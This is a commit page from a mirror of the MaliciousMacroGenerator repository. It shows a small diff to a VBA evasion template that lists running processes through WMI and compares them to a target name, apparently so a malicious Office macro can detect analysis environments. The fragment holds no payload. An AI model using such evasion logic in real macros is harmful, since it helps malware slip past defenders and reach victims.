infosecn1nja
/
MaliciousMacroGenerator
mirror of https://github.com/infosecn1nja/MaliciousMacroGenerator.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update process.vba

patch-1
Mr.Un1k0d3r 2017-08-03 14:51:21 -04:00 committed by GitHub
parent 2c46e57724
commit 264e31db0c
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
templates/evasions/process.vba
View File

@ -6,7 +6,7 @@ Function func_evasion_process() As String
Dim func_evasion_process1 As String
Dim func_evasion_process2 As Object
Dim func_evasion_process3 As Object
func_evasion_process = "bool1"
func_evasion_process = "bool2"
Set func_evasion_process2 = GetObject(decode("{[winmgmts:\\.\root\cimv2]}"))
Set func_evasion_process3 = func_evasion_process2.ExecQuery(decode("{[SELECT Name FROM Win32_Process]}"))
@ -14,7 +14,7 @@ Function func_evasion_process() As String
func_evasion_process1 = func_evasion_get_process()
For Each func_evasion_process4 In func_evasion_process3
If LCase(func_evasion_process4.Name) = func_evasion_process1 Then
func_evasion_process = "bool2"
func_evasion_process = "bool1"
End If
Next
End Function